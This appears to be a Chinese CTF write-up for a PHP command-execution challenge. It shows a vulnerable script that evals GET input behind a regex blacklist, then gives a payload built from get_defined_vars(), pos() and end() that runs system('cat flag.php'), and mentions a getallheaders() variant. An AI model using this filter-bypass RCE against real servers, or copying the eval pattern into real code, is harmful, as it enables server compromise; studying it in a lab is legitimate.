catflag web wp

命令执行之我在哪


<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
    if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|rm|find|flag|rm|\/|echo|\.|\\\|\*|\?/i',$_GET['cmd'])){
        @eval($_GET['cmd']);
    }else{
        echo "danger_string";
    }
}else{
    echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
# mumuzi到此一游
?>

很明显是一个命令执行的题目
正则过滤的东西还是蛮多的
直接上方法吧

法一

paylaod
eval(end(pos(get_defined_vars())));&a=system("cat flag.php");
解释一下
这里我们先使用get_defined_vars(),首先看一下它的回显 返回由所有已定义变量所组成的数组

$_GET
$_POST
$_FILES
$_COOKIE

我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如 给变量后面添加一个a 就成这样
?cmd=var_dump(get_defined_vars());&a=1; 得到的结果如下
在这里插入图片描述那么我们就可以构造而已参数 比如 system('ls'); 然后想办法让他执行 我们就可以所以 先使用 pos 输出数组中的当前元素的值:
然后在使用 end 提取出来 使用eval执行 就ok了

第二个方法

在这里插入图片描述

第二个的payload是这样的
之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回 剩下的还上面法一的操作一样

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值